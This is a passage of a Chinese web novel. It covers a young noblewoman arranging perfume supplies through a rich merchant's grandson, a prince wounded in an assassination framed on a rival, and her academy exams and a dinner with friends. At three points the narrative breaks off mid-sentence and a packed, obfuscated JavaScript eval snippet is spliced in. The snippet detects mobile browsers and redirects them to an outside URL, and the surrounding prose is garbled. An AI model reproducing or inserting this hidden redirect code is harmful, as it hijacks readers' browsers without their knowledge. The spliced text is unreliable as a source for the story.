将目前的情况详细说完,舒凌寒便静等着二姑娘拿主意,虽说依据她此前经营胭脂铺的经验,她可以去种植花瓣的农庄和香料铺子一家一家走访询问,但这样做一来耗费大量时间,二来即便如此也不能完全保证不被人蒙骗。思来想去,她觉得还是借助二姑娘的力量最为稳妥。 黎书意听后若有所思地点头,沉吟片刻后道:“你把目前制作胭脂所需的原料列一份清单给我,我明日帮你去打听打听。” 舒凌寒连忙点头称是,然后她走到书桌旁,拿起纸笔,开始认真地写了起来。 待她写毕,黎书意接过来瞧了,旋即把清单放在案上,想着再找百里烜赫帮忙。 这时,门外兰亭通传说:“二姑娘,李大姑娘来了。” 她听了惊喜非常,忙道:“快请进来。” 话音刚落,李诗施走了进来,像是一个游览景致的游客,细赏了一下她的书房,点着头评价说:“你这地方还真不错。” “哪能比得上你那里。” “我那是十多年的积累,你来这里不过两月。”李诗施说毕,停顿了片刻,又补上一句,“你应当有不少书没能带过来吧?” 黎书意闻言叹口气道:“当时走得匆忙,加之又是逃亡,有些书不得不割舍。” “嗯哼。”这时,李诗施轻咳一声,双颊浮上一抹浅粉,试探着说,“其实我今日就是向你借书来的,想着你这里应该会有西景的珍本……” 面前这人一向爽朗大方,难得见她不好意思,黎书意不禁笑出声,下一刻慷慨道:“你之前都送我好几本书了,我又岂会不借你。” 说罢她起身,朝书架走去,书架内侧上层有个长木箱,箱子里摆了五六本珍藏。 她将木箱拿到案上,再小心打开,问:“你看看有没有感兴趣的?” 李诗施看了她一眼,然后拿起最上面的书,翻两页游目粗览,接着又拿起下一本,每看一本都露出渴望的神情,当拿到最后一本时,她直接惊叫起来:“《东景金石总录》!” 黎书意被她的反应逗笑了,回答说:“这是我誊抄汇总的,那些真迹还在西景观文殿里。” “能全借我吗?”那双凝脂点漆的眸子饱含渴望地注视着她。 她点头,“当然。” 书自然是给人看了才有价值,况且还是李诗施这样的词人才女,说不定她还能依靠这些创造出新的精品。 “你真是太好了。”李诗施满眼感激,脸上笑纹退却后,目光注意到案上放着的那张清单上,便疑惑问她,“这是什么?” “哦,这是货单。”她随口道。 “你需要这些干嘛?” 并非什么不能讲的事情,于是黎书意便将舒凌寒的身世,自己与她定下了若她能在五年内为胭脂铺赚下万钱,便助她脱奴籍恢复自由身的赌约,以及目前的进货难处一一说了。 说完,听见李诗施评价道:“你还真是善良。” “我只是知道她不会永远待在府中,不过做个顺水人情罢了。” “所以现在你们是要在丹霄继续开店?” “嗯。” 李诗施若有所思地看着货单,然后抬头道:“或许我可以帮你。” “你能帮忙?”她有些疑惑。 “我的一个朋友是做生意的。” 次日,用过午膳,黎书意便带着兰亭和舒凌寒前往李府,到那里小坐了片刻,她们随李诗施出门,又往街上去了。 街上热闹非凡,人群熙攘,两边的摊贩吆喝声此起彼伏,从马车上下来,黎书意跟着李诗施进了街心最高档的瓷器铺,瓷韵。 铺内宽敞明亮,布置得极为雅致,高大的檀木架沿墙壁排列整齐,架上摆满了各种瓷器,正中央是数座精美的多层圆木架,错落有致地陈列着瓷器珍品。 店掌柜一瞧见她们,立刻满脸堆笑地迎过来,对着李诗施殷勤地问候:“李大姑娘来了,我这便去差人通知少爷?” 黎书意观这掌柜对李诗施的恭谦态度,想来店铺主人与李诗施十分相熟。 几人刚说没两句话,从内堂走出来一位年轻公子,他身姿挺拔,穿一袭月白色绣金线锦袍,腰间束着一条黑色玉带,长得面如冠玉,秀眉俊目,嘴角噙着一抹若有似无的笑意。 看见李诗施,他语气亲昵,半开玩笑:“哟,今日是哪阵香风把你吹到我这来了?我还以为上回我不小心弄坏了你心爱的茶盏,你还没消气,都不愿搭理我了呢!” 李诗施听后柳眉轻挑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545794|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴微扬,轻哼道:“本姑娘可不是那等小肚鸡肠的人!” 贵公子嘴角微微上扬,不紧不慢地说:“我已经从玄都的瓷窑寻了两套与那盏出自同一窑口,明日便着人送到府上给你赔罪。” 黎书意在旁看两人斗嘴,就这相处方式,恐怕不止是相熟那么简单。正想着,贵公子转而看向她问,“这位是?” 李诗施应话介绍道:“这是黎书意。” 接着,又面对黎书意,指着贵公子说:“卓锦宸。” 卓锦宸,黎书意瞳孔微张,难怪通身透着贵气,原来站在自己面前的竟是丹霄首富卓元之孙,卓记商号旗下产业遍布各行各业,可谓是富可敌国。 心下感慨完,她微微福身,向卓锦宸问好:“见过卓公子。” 卓锦宸含笑回道:“见过黎姑娘,我可是久仰你的大名。” 听见这话,黎书意只是微笑,并未多言。 卓锦宸继续招呼道:“你是她的好友,今日咱们又是初见,若你在这店里看中什么,拿走便是。” 不愧是首富之孙,出手还真阔绰,黎书意出言婉拒:“谢谢,不必了。” “行了,别贫了,今日来这找你是有正事。”李诗施插话。 “有事?”卓锦宸目光从她们身上扫过,“那进里面来谈吧。” 说着,将她们带进内堂。 一进去刚坐下,便有伙计迅速端来热茶。 “说吧,什么事?”卓锦宸看着李诗施。 李诗施未做铺垫,单刀直入地说:“是这样,她打算在伊洛开一家胭脂铺,需要采购优良的花瓣和上乘的香料,但是初来乍到,不知道靠谱的渠道。” “原来如此,”卓锦宸的目光落到黎书意身上,接着头一点,开口道,“这个好办,卓记旗下有不少经营花圃和香料的商铺,质量绝对有保障,我可以牵线让你与之签订契约。” “多谢。”黎书意闻言感激不已。 “不必。”卓锦宸道,“我现在便修书一封,之后你带着凭信去找人就行,到时他会二八作价与你。” 听见让利,黎书意连忙摆手拒绝:“这个就不用了。” 卓锦宸却坚持说:“你是她朋友,也就是我朋友。” “那谢谢了。”推却不过,黎书意只好接受。 然后,卓锦宸便走至书案处开始写信,她则被李诗施拉着在店铺前堂逛起来。 黎书意的目光从那些颜色不一,造型各异,图案精美的瓷器上扫过,心下不禁感慨这事未免办得太过轻松,想到这,她侧头,有些难为情地问李诗施:“你怎么不和我说你认识的人是卓锦宸,让他如此让利,我都不好意思了。” 李诗施无所谓地说:“你不必有负担,我认识的人当中做这个的最熟的就是他,自然找他。让利的事你更不用在意,那点利润对他来说不过是九牛一毛罢了。” 听了这话,黎书意便不再言语。 片刻后,卓锦宸写完信出来,将信递给黎书意,黎书意再次向他道谢。 李诗施又与卓锦宸斗了几句嘴,然后她们便离开了。 到了店外,黎书意与李诗施告别,准备各自回家。 待黎书意坐上马车,她把信交给舒凌寒道:“剩下的就靠你了。” 舒凌寒接过信,志气满满地说:“二姑娘放心。” 136. 嫁祸 太阳斜衔,霞光灿烂,黎书意从马车上下来,她左手拿着书本,右手拎着提盒,步伐轻快地往府门走去。 回到易安居,她搁下东西,然后懒散地在榻上坐下,一面想着心事,一面等待着厨房传饭。 六月底,金英发生了一场不小的蝗灾,百里烜赫被陛下指派过去主持赈灾事宜了,如今离开已有二十多天了。 前几日,游隼送来的信上说,他这两天就会回来,正巧明日休沐,黎书意等不及想与他见面。 待兰亭摆完饭菜,她起身净手,这时,听见外面传来急促的步伐,转过头一看,来的人是毕定边。 观他面色凝重,她心头立时涌上不安,忙问:“发生何事了吗?” “禀二姑娘,卑职收到消息,定王殿下出事了!” “什么!”黎书意手上的帕子惊落,追问道,“他出了何事?” 毕定边答话:“昨夜定王殿下遭遇刺客劫杀,受了重伤。” 刺客!重伤!黎书意的心脏因为这句话突突跳动着,定了一定神,她又问:“他现在在哪,可回来了?” “刚回伊洛,已经召太医上府了!” 听到这话,黎书意想见百里烜赫的心情再压抑不住,便直接抬步朝外走去。 食案边,看着二姑娘匆匆离去的身影,兰亭将要叫住出口的话咽了回去,收回视线瞧一眼刚端上来的饭菜,她叹了口气,随后便让侍女们把东西撤了,也不知道定王殿下伤势严不严重,希望没什么事吧。 另一边,黎书意健步如飞出了易安居,她一路疾行到前院,一等马车备好,就迅速登车,并命车夫快马加鞭赶去定王府。 到了定王府门口,马车才堪堪停下,她便急切地跳下了车,三脚两步朝侧门走去。 虽然王府的位置她早就烂熟于心,但这却是她首度登府,向守门侍卫报上身份,他们最终为她放行了。 在一个年轻小厮的带领下,她穿过蜿蜒迂回的园径,终于来到了正院,一入院碰见了正在向下人交代事情的纯钧。 纯钧看见她走过来行礼:“见过黎二姑娘。” 她摆了一下手,脱口询问情况:“他伤在哪,可严重?” 纯钧迟疑了片刻,最后到底说了实话:“主子右臂挨了一刀,左背中了一箭。” 这伤势听起来可不小,黎书意欲再细问,恰见太医提着医箱从屋内走出来,于是她话不多说,直接进屋去了。 百里烜赫倚坐在榻上,正抬手合拢衣裳之际,听见有人从外面走了进来,他抬眸望去,看清来人后,眼中闪过一丝惊讶,轻声问:“你……你怎么过来了?” 黎书意垂眸看着榻上的人,少年本就面白,此刻脸色几乎苍白如纸,唇上无半分血色,她见了心头猛地一揪,不答反问:“你的伤势如何?” 百里烜赫扯出一抹略显苍白的笑,故作轻松道:“不要紧,没伤在要害,修养些时日就好了。” 看他有气无力的模样,黎书意便知他这是在强撑着安慰自己,不过确定了不会危及性命,那颗高悬的心还是落了大半。 因她当下有更在意的事需要解答,就未再这事上纠缠,而是直截了当问了:“你可知刺客身份?” “基本清楚了。”少年微微点头,目光中闪过一丝冷厉。 其实,黎书意心中亦有怀疑的对象,虽说她整日身在学堂,对朝堂上的争斗了解得不多,但也知道自百里烜赫入丹霄以来,与寿王之间暗潮汹涌,不过尽管已有猜测,她还是追问道:“是谁?” “谢嘉言!” 啊?这个答案令黎书意措手不及,她直接愣住了。 从西景逃离数月,如今她正被惬意的新生活包裹着,都快忘记了这号从前他们最大的敌人,找回神志后,她不可置信道:“你如何确定的?” “卫队在埋伏地附近搜查时,于相隔五里的地方找到了他们落脚的荒寺,在行囊里发现了一封景帝的密信。”百里烜赫回答。 昨夜遇袭的那一刻,他的第一反应也是寿王,收拾完刺客,翻找尸身发现的隐秘印信也是如此提示他的。 在驿站下榻后,他紧急处理了伤口,靠在榻上闭目养神回溯经过时,一种难以名状的古怪感悄然涌起,总觉得这件事的指向性太过明显。 他既选择走上争储这条路,自然得认真了解竞争对手,因此一入丹霄以后,他便让龙胆和偃月去细查寿王和睿靖郡主方方面面的情报。 睿靖郡主为人谦逊谨慎、做事妥帖,不贪功冒进,待他客气有加,可寿王自他入朝后却小动作频频。 此次他前往金英赈灾,寿王更是百般刁难,当地有不少官员是寿王的党羽,他们对赈灾工作阳奉阴违,物资调配时推诿扯皮,账目核算也故意拖延,妄图让他赈灾不利。 为破局,他暗中调查了他们的劣迹和把柄,然后以之要挟,迫使其配合,这个过程中,他便又深查了寿王一遍,是以对寿王的行事风格,以及个人关系网了如指掌。 寿王虽痛恨他入局争权,但也明白,若自己贸然行刺,必定第一个被怀疑,所以一直以来,只敢在暗处使手段,不敢轻举妄动。 想到这一层,他当即让纯钧和方天领着人重回被伏地细心搜查,结果当真查出了惊喜,原来暗中作梗的人是他的皇叔。 “我这皇叔,还真是贼心不死……倒是小瞧他了。”百里烜赫神色冷峻,声音里透着彻骨的寒意,缓缓说道。 看样子的确是景帝所为,意识到这点,黎书意又惊又惧,她原以为逃离他国,便不会再受威胁了,不曾想,景帝仍旧惦记着要杀他们,甚至还处心积虑栽赃,当真是恨他们入骨。 不过细想之下,他此举也是有他的考量的,毕竟一旦等百里烜赫在丹霄站稳脚跟后,他就更危险了。 这招嫁祸简直是一箭双雕的毒计,若计成了,既处理了百里烜赫,又引起了陛下对寿王的不满。 若计不成,也必使百里烜赫和寿王之间的矛盾积累更深,总之不管怎样,都将触发丹霄陷入严重的内斗,最终达到报复和削弱国力的目的。 她越想越觉得后怕,奈何敌人远在他国,行事诡秘难测,探查起来犹如大海捞针,简直防不胜防。 而百里烜赫目前在丹霄立足未稳,朝堂上各方势力盘根错节,光是应对这些就已经有够让他心力交瘁的了。现如今,西景的威胁又横亘在前,无疑是雪上加霜。 黎书意眉头紧蹙,心中被忧惧填满,犹豫片刻后,轻声问道:“你打算如何应对?” 百里烜赫望着愁云锁眉,表情凝重的少女,柔声宽慰道:“你不必忧心,如今他已经打草惊蛇,接下来没那么好行动,我会嘱咐手下好好防范的。” 黎书意点头,目前也只能做到这地步了,轻吐出一口浊气,这盏茶的工夫,她真是心思百转千回,惊忧交加。 这时,两个小厮端着热菜热汤走进屋中,百里烜赫起身,望着呆站着的人道:“你下学急匆匆赶来,应当还没用饭吧,过来一起?” 闻言,黎书意回神,目光触及正在布菜的小厮时略有些迟疑…… 因他们是投诚丹霄的,且如今一方是王爷,一方是掌军武将,虽然从前关系亲近,但是为避免有结党营私的嫌疑,两家目前在明面上的交往并不多。 今日,她贸然前来已是冲动,再一起用饭怕是会传出些什么去,可她转念一想,来都来了,最后便点头坐下了。 基于百里烜赫目前深受重伤,桌上的菜都是清淡滋补的饮食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545795|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王府厨房里出的菜肴,无论是菜色,还是味道,都是一流的。 吃毕晚饭,黎书意略坐了片刻,又询问了一遍百里烜赫的伤势,然后便起身道别了,百里烜赫如今身体虚弱,需要静养。 等她回到家中,已经暮色渐笼,踏进府门时门房报说兄长回来了,她人才走到二院,兄长已经闻讯迎了出来。 黎长策一瞧见小妹,便脱口问道:“听说你去了王府,他那边情况怎么样?” “手臂和后背都受伤了,伤得颇深,还好没在要害处。” “可知是谁?” “是景帝。” “景帝?”黎长策愕然。 “嗯。”黎书意点头,接着将百里烜赫调查到的情况说了。 黎长策听后咬牙怒斥:“哼,手伸得可真长!” …… 介于黎书意已经打破自己定下的规矩,加之实在牵挂百里烜赫的伤情,之后她也就不再矫情,偶尔会上定王府去探望。 好在太医的手法精到,百里烜赫的伤口没有引发感染,加之有上等的汤药补品好生伺候着,好得极快。 寿王方面,因着使绊子不成,又被他人嫁祸,险些危及自身,变得安分谨慎了许多。而这时,国子监半年一次的期试也快到了。 由于黎书意是中途插入的,比其他学子少上了一半的课,尽管已经用私人时间补上了,可心里终究没底,毕竟她还从未经历过考试。 为了不辜负自己,也为了不让父兄失望,考试前半月她一直在温书,直至临考前一日,才终于敢放下书本,让紧张许久的身心稍作放松。 这日,黎家父子也休沐在家,是以一家人便其乐融融地聚在一起用晚膳。 席上,刚动筷没多久,黎横天便一脸疼惜地看向女儿,语气柔和道:“一次考试而已,你不必给自己太大压力,尽力而为就好。” 黎长策也在一旁开解:“你都这么认真温书了,考试肯定没问题的。” “嗯,我知道。”黎书意点头,回应两人的关心。 晚膳过后,她回到自己院落。 约莫过了一个时辰,百里烜赫来了,还是一如往常那般翻墙而入。 月光下,他身姿挺拔如松,眼神温柔似水,迈步缓慢地走向她。 到了跟前,他开口道:“我知道你看重此次考试,但是你不必过分担忧,别忘了,你可是名满天下的才女,一场考试不算什么。” 听见这话,黎书意忍不住笑出声来,没曾想以面前这人冷淡的性子,竟然会用这般的玩笑话来宽慰她,不过的确有效,她心头残存的那一丝紧张被吹散了。 次日,国子监迎来期试。 考试共持续五天,第一天考经学,考题共十道,多为对经典经文的理解,其中内容九成题目出自于平日所学书本,涵盖范围颇广,从晦涩难懂的微言大义到寓意深刻的历史典故,皆有涉及。 而剩余的一题则是完全陌生的,显然是博士们故意为之,以此来为难学子,进而考察大家的知识储备,以及思考分析能力的。 前九题黎书意答得顺畅,然而到了最后一题,却陷入了迟滞,她只好多番读题,并试着从过往所学经著中搜索相关内容,经过一番苦思冥想,她终于动笔将自己思考得出的见解写在答卷上。 第二天考史学,要求学子根据史书片段或是历史事件相关叙述,按照提问阐述自己的见解。 拿到试题后,黎书意先依次将题目过了一遍,其中有朝代史事题,让陈述文成帝“元嘉之治”的主要内容以及带来的影响;还有对外政策题,请分析东景时期与安士的友好交往史实及其意义。 待过完所有题目,她便在脑海中迅速整理思路,随后从容起笔作答。 137. 庆贺 两天的必修课考试结束了,接下来的三天是选修课的考试,气氛较之前轻松了些。 诗词考试在第三日早上举行,题目一共十道,其中五道是补全诗词内容,四道是提问诗句的含义与出处。 还有一道是要求以“新生”为题,以“庚韵”为韵脚作诗,黎书意沉思了片刻,最后借草木枯荣来描写人生的起伏。 下午是棋艺考核,规则是学子们通过抽签选择对手,两两比试,胜利的一方再与他桌胜者继续对决,杀到终赛的是黎书意和吴云初。 虽说她和吴云初在围棋课上也曾对弈过几次,可每次不是有先生的讲解穿插其中,就是下到一半便下课了,是以,这是她们头一回在毫无干扰的环境下正式较量。 吴云初执黑子,她则持白子。 “啪!”黑子落下,稳稳地落在棋盘右下角的星位旁。 她见状眉头一挑,这可不似吴云初以往那种激进的开局风格,看来她这回改变了策略,想要稳扎稳打。 黎书意拿起白子,略作思索后,落在了棋盘右上角的小目位置上。 她想,既然对方选择了稳当的路线,那自己不妨主动出击,若双方都畏畏缩缩,这棋局可就少了几分趣味。 她们你来我往间,黑白棋子渐将棋盘填满,下至后半段,双方差距开始明显起来,吴云初因为过于求稳,在应对她的攻势时,显得保守过度,不够灵活。 这毕竟是正式较量,黎书意没有丝毫留情,她继续审视整个棋局,伺机抓住对方的错漏,不断抢占先机。 最终,毫无悬念地,她赢得了这局对弈。 第四日早上是书法比试,要求学子们从各种书体中选择一种,来书写规定的诗词或文章,这次给定的诗篇是前朝著名诗人感叹人生易老,抒发怀才不遇的名作。 铜铃一摇响,众学子即刻研墨挥毫。基于此诗奔涌迸发之势恰似江河流泻,豪迈洒脱,与行书行云流水、纵横自如的笔画特点相得益彰,于是黎书意最终选择用行书来书写这首名作。 午后的画课考核也是差不多的规则,学子们根据先生给定的题目在画纸上作画,这回定下的题目是“今岁”。 这一道题目简直就是为黎书意量身打造的,她的今岁何其跌宕,抗旨出逃,入山自守,投诚丹霄……哪一件拎出来不是能铭记一生的事迹。 一番构思后,她开始动笔作画,最终画的是他们在金错山庄坚守时,她与父兄眺望远方的场景。 那是一个承上启下的关键阶段,他们终于告别了给他们带来无尽伤痛的西景,怀揣着希望与忐忑,展望即将在丹霄开启的新生活。 次日午间,黎书意提早一刻钟来到国子监,准备参加射箭考核。 到校场,见场上人山人海,人数竟是上课时的三倍有余,想来是结束各自考试来瞧热闹的学子们。 在这些人之中,她发现了魏慕依的身影,与她闲话了两句,在她的鼓气声中,黎书意往场地中央走去,与一同参与考核的学子们汇合一处。 步射考试的规则与平日训练相差无几,学子们需站在指定的射箭位置,手持弓箭射向对面的靶标,每人十支箭,且要在一柱香之内完成射击。 点名分组毕,黎书意在第五组排队等候,只见四周的围观学子们交头接耳,品评着正在考试学子们的射艺。 两刻钟过去,终于轮到她了,她从容出列,拿起弓走到引射处,见她上场,大家满脸好奇。 她神色淡然,仿若未觉,兀自给右手拇指套上扳指,然后朝右转向师傅,恭恭敬敬地行了一礼。 “开始吧。”师傅下令。 黎书意回身,左手持弓,右手从箭筒里取出一支箭,然后扣在弦上,接着再迈开双足,身体微微前倾,在拉开弓的同时,她紧紧锁定靶标,随后撒放。 “咻!”箭离弦而去,再“噔!”一声钉在木板上。 “七环。”那头传来报数声。 听到这个成绩,黎书意不禁有些气馁,这可比她平日的水平差了些。 “不愧是将门之女,这射艺已经相当不错啦!”人群中有人赞叹。 “你不知道,人家可是入学后才开始学射箭的呢!”另一人接口道。 “真的?”有人惊讶地叹说,“那这进步也太快了吧!” 经过第一箭,黎书意的心渐渐沉稳下来,她深吸一口气,紧接着拿起第二支箭,搭弓、拉弦、放手,一气呵成,只听得一声短促而锐利的破空声,箭稳稳插入红心。 四周传来惊呼。 那边跟着报道:“十环!” 此时,她彻底进入状态,接下八箭,有五次射中靶心,还有两次八环、一次九环。 至此,考试结束。 黎书意向射箭课师傅和魏慕依告别,然后带着不错的射箭成绩离开了校场,径直出了国子监大门,登马车回家了。 回到府上,刚至门口,门房迎上前来,递给她一张纸条,说是李大姑娘差人送来的,她打开一看,纸上没写什么特别的内容,只说为庆祝她和魏慕依考试结束,约她俩今晚去步云楼吃饭。 她回身瞧一眼日头,见天上太阳早已偏西,再过一个时辰就该用晚饭了,于是不再多耽搁,快步往里走去。 回到小院,她让兰亭备水,说自己要沐浴,等洗掉了射箭留下的薄汗,换了身干净的衣服,便出门赴约了。 到了酒楼,她向前来招待的店小二报上李诗施的名字,接着被引着去了二楼右边的一个雅间。 推开门走进去,见李诗施、花英和魏慕依正坐在一起闲谈,三人听到声响,齐转过头来。 李诗施催道:“就等你了。” “抱歉,顶着大太阳射了一下午的箭,感觉身上有些粘腻,所以沐浴了才过来的。”她一边说一边朝内走。 “怎么样,你应该考得还不错吧?”李诗施问。 黎书意还未来得及开口,魏慕依便替她回答了:“我就在现场,书意姐姐六箭正中靶心!” “可以啊。”李诗施赞赏地轻拍了她一下。 她谦虚地笑笑,转头对着正抬起杯子喝酒的花英道:“都是花师傅教得好。” “啪啪!”李诗施抬手拍了两下,将门口伺候的店小二唤进来道:“把你们店里的招牌菜通通都端上来。” 说毕,转向她们,十分豪气地说:“今天我请客,你们想吃什么尽管点。” “我想吃糖蟹,还有虾羹。”魏慕依不客气地报上菜名。 等点了菜,她们边吃酒边闲聊,候了一刻钟,店小二抬着托盘进来,麻利地将美味佳肴摆放好,留下句“客官们请慢用”便离开了。 来丹霄近四个月,黎书意上街的次数并不多,在外面用饭则是根本没有,今天是初次体验,又是和朋友一起,心里说不出的高兴。 三位伊洛的东道主照顾她是新人,这个向她介绍哪道菜好吃,那个介绍城中还有哪处有美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545796|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食,吃到一半,甚至还叫来一位乐师在隔间为她们弹琴助兴。 琴音在房间流淌开来,清冽空灵,飘渺似天上仙乐,她紧绷了一个月的情绪得到完全地释放,不住赞叹道:“真好听。” 曲子弹到中后段,琴音渐渐低下来,柔和委婉,如泣如诉。 不知怎的,她的情绪莫名低落起来,心里像是空了一块,是乐极生悲吗?不清楚为何,她抬起杯子喝酒,掩饰自己的情绪。 “当真惬意,要是弹曲的是严千隐便更好了。”李诗施微眯着眼睛,一脸沉醉地说。 “哼,”花英轻嗤,“想得倒美。” “有你在也不行?” “那倒是行。” 瞧着斗嘴的两人,黎书意忽然找到了自己悲伤的缘由,她心里之所以空落落的,是因为自己的喜悦无法同异国他乡的那个人分享,林静仪,她默念着好友名字。 从西景传过来的消息说,自林伯父提了安抚他们的建议以来,景帝便故意冷落林伯父,他屡柬皆不被采纳,最后林伯父心灰意冷,如今已经称病不出了。 自己正在享受着新生,而林静仪的人生正在慢慢下坠。 “姐姐,姐姐,你怎么了?”魏慕依见黎书意神情呆愣,奇怪地叫道。 听见呼唤,黎书意慢慢回神,目光聚焦后她看见了三张担忧的脸。 “怎么了,是身体不舒服吗?”李诗施关切地问。 “没有,”她摇摇头,见大家仍不放心,她顿了顿,有些难为情地解释说,“就是觉得近来的日子过得很逍遥,想要与一个故友同享。” 李诗施闻言松了一口气,不是身体不舒服就好,提到黎书意口中的故友,她心里很快浮现出一个答案来,便问:“是林静仪吗?” 望着李诗施,黎书意点头,接着又道歉:“对不起,我破坏气氛了……” “怎会,”李诗施摆摆手,“你们自小交好,又分离许久,此时想起她理所当然。” 花英插话:“听闻林静仪才貌双全,娴静温婉,擅诗文,通音律,如果有机会,我很想认识她。” “我也是我也是。”魏慕依积极附言。 三人友好的反应令黎书意心中动容,她的目光依次扫过她们,真诚地说道:“她肯定很愿意结识你们。” 夜幕笼垂,窗外华灯初上,屋内杯盘狼藉,桌边四个女孩子面颊皆泛着粉红。 李诗施放下酒杯,懒懒道:“时间已经不早了,我们回去吧。” 其他几人应声,然后大家起身出了房间。 门一打开,热闹扑面而来,大堂灯火辉煌,衣香鬓影,耳边充斥着乐声,说话声,以及店小二的吆喝声…… 走到转角,碰见李诗施的弟弟李凌洲,这几月黎书意偶尔去李府拜访,终于知道那个把她和吴云初比试棋艺的事告知于李诗施的弟弟,正是那日射艺课上为她说话的人,他性格同姐姐一样开朗大方,十分好相与。 他旁边站着他的同窗们,几人应当是和她们一样,是结束考试特意来这里放松的。 李凌洲先叫了声“姐”,然后分别对花英和魏慕依叫了声“花姐姐”和“魏姐姐”,最后目光移到黎书意身上,叫了声“黎二姑娘。” 黎书意点头以应。 “少喝点酒,别玩太晚。”李诗施叮嘱自家弟弟。 在同窗面前被管教,李凌洲面上有点尴尬,最后还是低声应了。 两边就此别过。 138. 秋猎 次日,用过了午膳,黎书意带着兰亭出门去了,打算去看看舒凌寒的胭脂铺经营得如何了。 马车在街边停下,主仆二人径直进入清芙阁,一踏入店门,一股淡雅的香气扑面而来。 店内布置与开店后她来时所见的相差无几,不过却更添了几分热闹,几名彩裳女子正站在立柜前挑选胭脂,有的旁边跟了伙计,伙计正热情地介绍着。 舒凌寒站在柜台里侧,她低着头拨弄算盘,指法娴熟,神情专注。 黎书意径直走到柜台前站定,开口道:“掌柜的,我想看看店里的胭脂水粉。” “姑娘喜欢什么样的?”舒凌寒一边说一边抬头,等看清了来人的模样,她惊叫一声,“二姑娘怎的来了?” “昨天刚考完试,今天闲下来便想着过来看看。”黎书意说着像寻常客人一样随意地逛起来,双眼在那些木质的雕花立柜上扫看着。 柜子上整齐地摆放着各式各样的胭脂水粉,有精致的瓷盒、古雅的木盒,还有用绸缎包裹的盒子,入眼琳琅满目,每一样都透着店主的用心与巧思。 将前堂扫了一遍,她回头说道:“将近两月未来,你已经将店铺经营得有声有色了。” “多亏了卓公子的帮忙。”舒凌寒谦虚道,接着又问,“二姑娘近来可好?” 一旁的兰亭接话:“二姑娘为准备考试,最近一月起早贪黑。” 舒凌寒听后道:“那定然会取得好成绩的。” 黎书意没说话,围棋课和射艺课的结果是已知的,其他的科目她答题时感觉也还不错,不过到底结果如何,还未可知。 略聊了两句,黎书意带着兰亭从清芙阁出来,难得空闲,她们没有着急回家,而是到处逛起来。 兰亭出门的次数比她多,便做起指引带着她逛,向她说哪家店的首饰最精致好看,哪家店的点心最可口好吃。 主仆二人逛了近一个时辰,在夕阳西下时终于提着大袋小包的东西上了候在街口已久的马车。 接下来的几天,黎书意一直待在家中,静待国子监放榜。 五日倏忽而过,放榜的时候到了,因是初次,为表郑重,她亲自去了国子监。 榜就张在大门口,不止学子能看到,过路人也能看到,她人还在马车上时,就见那里围满了人。 兰亭与二姑娘朝夕相处,她看得出二姑娘平静外表下的不平静,于是主动说道:“二姑娘,婢子替您去看。” “嗯。”黎书意点头应了,尽管她外表镇定,但心里还是有些担忧的,她很在乎这次的成绩,所以此时难免退却。 在马车里坐着等了一会,兰亭回来了,她抬眼望过去,克制着自己的紧张与不安。 “二姑娘。” “如何?”即便兰亭脸上带着笑容,也还是不能让她放下心。 兰亭眉欢眼笑报道:“您经学第二,史学第一,诗文第一,围棋第一,书法第一,画课第二,射艺第六,总成绩第三。” 闻此结果,黎书意顿松了口气,总算不负她这几个月的努力。 “二姑娘,婢子看榜时听见他们在夸您呢,说您之前未上过学堂,竟然一来就能取得如此好的成绩,不愧是西景第一才女。”兰亭将听来的话说出去来。 黎书意听后唇角微扬,下次她会取得更好的成绩的。 从国子监回来,入院后她走进小厅在榻上坐下,然后从兰亭手里接过油纸袋,里面装着回家路上顺道买的小吃。 透花糍软糯咸鲜,巨胜奴酥脆香甜,她一样一样细细品味,享受着放松惬意的私人时光。 “婠婠,为父还在路上时便有同僚恭贺我,说你获得了二年生第三名的好成绩!” 未见其人先闻其声,从急切的脚步声和开怀的朗笑声中,黎书意便知父亲有多高兴了,她起身,用帕子擦干净手,在父亲进屋时迎上前去。 黎横天看着亭亭玉立的少女,女儿自小就是他的骄傲,从没让他操过心,虽然入国子监读书是她自己的愿望,但是她这般用功未尝没有给他这个做父亲的争面子的想法。 今日,同僚们夸女儿聪明伶俐,逸气凌云,他听后无比自豪,可自豪的背后,心中又满是心疼。 这小半载,易安居的书房夜夜灯火通明,近来一月女儿更是日以继夜的埋头苦读,他知道她为了这个成绩付出了多少努力。 “婠婠永远都是为父的骄傲,”说着,他递出手中方木盒,“给你的礼物。” “谢父亲。”黎书意接下方木盒,盒中装着一块玉佩,玉佩造型精巧,色泽明润通透,形状为一只龟,龟背上背着一本翻开的书,书上刻有“学海无涯,心存高远”八字。 “你也累了许久了,接下来好好放松一下。” “嗯。”她点头。 用晚膳时,兄长也给他送了一份礼物。 